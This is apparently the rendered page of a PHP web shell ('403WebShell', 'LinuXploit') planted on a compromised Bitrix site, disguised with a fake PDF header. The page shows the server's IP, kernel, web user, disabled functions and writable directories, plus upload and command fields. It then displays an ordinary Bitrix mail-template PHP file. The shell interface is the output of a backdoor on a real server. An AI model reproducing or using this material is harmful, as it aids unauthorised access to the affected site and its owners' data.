%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 13.58.96.83
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sender/lib/preset/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sender/lib/preset/templatebase.php
<?php
/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage sender
 * @copyright 2001-2012 Bitrix
 */
namespace Bitrix\Sender\Preset;

use Bitrix\Main\Application;
use Bitrix\Main\Loader;
use Bitrix\Main\IO\File;
use Bitrix\Main\Localization\Loc;
use Bitrix\Fileman\Block\Editor as BlockEditor;

use Bitrix\Sender\Integration;

Loc::loadMessages(__FILE__);

/**
 * Class TemplateBase
 * @package Bitrix\Sender\Preset
 * @deprecated
 * @internal
 */
class TemplateBase
{
	const LOCAL_DIR_TMPL = '/modules/sender/preset/template/';
	const LOCAL_DIR_IMG = '/images/sender/preset/template/';

	/**
	 * Return base templates.
	 *
	 * @param string|null $templateType Template type.
	 * @param string|null $templateId Template ID.
	 * @return array
	 */
	public static function onPresetTemplateList($templateType = null, $templateId = null)
	{
		$resultList = array();

		$templateList = static::getListName();


		foreach ($templateList as $templateName)
		{
			if($templateName !== $templateId && $templateId)
			{
				continue;
			}

			$template = static::getById($templateName);
			if($template)
			{
				$template['VERSION'] = 1;
				if($template['TYPE'] === $templateType || !$templateType)
				{
					$resultList[] = $template;
				}
			}
		}

		return $resultList;
	}

	/**
	 * Return site templates.
	 *
	 * @param string|null $templateType Template type.
	 * @param string|null $templateId Template ID.
	 * @return array
	 * @throws \Bitrix\Main\ArgumentException
	 */
	public static function onPresetTemplateListSite($templateType = null, $templateId = null)
	{
		$resultList = array();

		if (Integration\Bitrix24\Service::isPortal())
		{
			return $resultList;
		}

		if($templateType && $templateType !== 'SITE_TMPL')
		{
			return $resultList;
		}

		$by = 'SORT';
		$order = 'ASC';
		$filter = array('TYPE' => 'mail');
		if($templateId)
		{
			$filter['ID'] = $templateId;
		}

		$templateDb = \CSiteTemplate::GetList(array($by => $order), $filter, array("ID", "NAME", "CONTENT", "SCREENSHOT"));
		Loader::includeModule('fileman');
		$replaceAttr = BlockEditor::BLOCK_PLACE_ATTR . '="' . BlockEditor::BLOCK_PLACE_ATTR_DEF_VALUE . '"';
		$replaceText = '<div style="padding: 20px; border: 2px dashed #868686;"><span style="color: #868686; font-size: 20px;">' . Loc::getMessage('PRESET_TEMPLATE_LIST_SITE_DEF_TEXT') . '</span></div>';
		while($template = $templateDb->Fetch())
		{
			if($template['ID'] == 'mail_user')
			{
				continue;
			}

			$replaceTo = $replaceText;
			$html = $template['CONTENT'];

			$html = preg_replace('/<\?[\w\w].*?B_PROLOG_INCLUDED[^>].*?\?>/is', '', $html);
			if(mb_stripos($html, $replaceAttr) === false)
			{
				$replaceTo = '<div id="bxStylistBody" ' . $replaceAttr . '>' . $replaceText . '</div>';
			}

			$html = str_replace(
				'#WORK_AREA#',
				$replaceTo,
				$html
			);

			$resultList[] = array(
				'TYPE' => 'SITE_TMPL',
				'ID' => $template['ID'],
				'NAME' => $template['NAME'],
				'HTML' => $html
			);
		}

		return $resultList;
	}

	/**
	 * @return array
	 */
	public static function getListName()
	{
		$templateNameList = array(
			'empty',
			'1column1',
			'1column2',
			'2column1',
			'2column2',
			'2column3',
			'2column4',
			'2column5',
			'2column6',
			'2column7',
			'dynamic1',
			'dynamic2',
		);

		return $templateNameList;
	}

	/**
	 * @param string $templateName
	 * @return array|null
	 */
	public static function getById($templateName)
	{
		$result = null;

		$localPathOfIcon = static::LOCAL_DIR_IMG . bx_basename($templateName) . '.png';
		$fullPathOfIcon = Loader::getLocal($localPathOfIcon);

		$fullPathOfFile = Loader::getLocal(static::LOCAL_DIR_TMPL . bx_basename($templateName) . '.php');
		if ($fullPathOfFile && File::isFileExists($fullPathOfFile))
		{
			$fileContent = File::getFileContents($fullPathOfFile);
		}
		else
		{
			$fileContent = '';
		}

		if (!empty($fileContent) || $templateName == 'empty')
		{
			Loader::includeModule('fileman');
			if(BlockEditor::isContentSupported($fileContent))
			{
				$fileContent = static::replaceTemplateByDefaultData($fileContent);
			}

			$fileContent = str_replace(
				array('%TEXT_UNSUB_TEXT%', '%TEXT_UNSUB_LINK%'),
				array(
					Loc::getMessage('PRESET_MAILBLOCK_unsub_TEXT_UNSUB_TEXT'),
					Loc::getMessage('PRESET_MAILBLOCK_unsub_TEXT_UNSUB_LINK')
				),
				$fileContent
			);

			$result = array(
				'TYPE' => 'BASE',
				'ID' => $templateName,
				'NAME' => Loc::getMessage('PRESET_TEMPLATE_' . $templateName),
				'HTML' => $fileContent,
			);
		}

		return $result;
	}

	/**
	 * @param string $template
	 * @return string
	 */
	protected static function replaceTemplateByDefaultData($template)
	{
		$phone = '8 495 212-85-06';
		$phonePath = Application::getDocumentRoot() . '/include/telephone.php';
		$logoHeader = '/include/logo.png';
		$logoFooter = '/include/logo_mobile.png';
		if(!File::isFileExists(Application::getDocumentRoot() . $logoHeader))
		{
			$logoHeader = '/bitrix/images/sender/preset/blocked1/logo.png';
		}
		if(!File::isFileExists(Application::getDocumentRoot() . $logoFooter))
		{
			$logoFooter = '/bitrix/images/sender/preset/blocked1/logo_m.png';;
		}

		if(File::isFileExists($phonePath))
		{
			$phone = File::getFileContents($phonePath);
		}

		$themeContent = File::getFileContents(Loader::getLocal(static::LOCAL_DIR_TMPL . 'theme.php'));
		return str_replace(
			array(
				'%TEMPLATE_CONTENT%', '%LOGO_PATH_HEADER%', '%LOGO_PATH_FOOTER%', '%PHONE%',
				'%UNSUB_LINK%', '%MENU_CONTACTS%',
				'%MENU_HOWTO%', '%MENU_DELIVERY%',
				'%MENU_ABOUT%', '%MENU_GUARANTEE%',
				'%SCHEDULE_NAME%', '%SCHEDULE_DETAIL%',

				'%BUTTON%', '%HEADER%',
				'%TEXT1%', '%TEXT2%',
				'%TEXT3%', '%TEXT4%',
				'%TEXT5%', '%TEXT6%',
			),
			array(
				$template, $logoHeader, $logoFooter, $phone,
				Loc::getMessage('PRESET_TEMPLATE_LIST_BLANK_UNSUB_LINK'), Loc::getMessage('PRESET_TEMPLATE_LIST_BLANK_MENU_CONTACTS'),
				Loc::getMessage('PRESET_TEMPLATE_LIST_BLANK_MENU_HOWTO'), Loc::getMessage('PRESET_TEMPLATE_LIST_BLANK_MENU_DELIVERY'),
				Loc::getMessage('PRESET_TEMPLATE_LIST_BLANK_MENU_ABOUT'), Loc::getMessage('PRESET_TEMPLATE_LIST_BLANK_MENU_GUARANTEE'),
				Loc::getMessage('PRESET_TEMPLATE_LIST_BLANK_SCHEDULE_NAME'), Loc::getMessage('PRESET_TEMPLATE_LIST_BLANK_SCHEDULE_DETAIL'),

				Loc::getMessage('PRESET_TEMPLATE_LIST_BLANK_BUTTON'), Loc::getMessage('PRESET_TEMPLATE_LIST_BLANK_HEADER'),
				Loc::getMessage('PRESET_TEMPLATE_LIST_BLANK_TEXT1'), Loc::getMessage('PRESET_TEMPLATE_LIST_BLANK_TEXT2'),
				Loc::getMessage('PRESET_TEMPLATE_LIST_BLANK_TEXT3'), Loc::getMessage('PRESET_TEMPLATE_LIST_BLANK_TEXT4'),
				Loc::getMessage('PRESET_TEMPLATE_LIST_BLANK_TEXT5'), Loc::getMessage('PRESET_TEMPLATE_LIST_BLANK_TEXT6'),
			),
			$themeContent
		);
	}

	/**
	 * @param $templateName
	 * @param $html
	 * @return bool|int
	 */
	public static function update($templateName, $html)
	{
		$result = false;
		$fullPathOfFile = Loader::getLocal(static::LOCAL_DIR_TMPL . bx_basename($templateName) . '.php');
		if ($fullPathOfFile)
			$result = File::putFileContents($fullPathOfFile, $html);

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit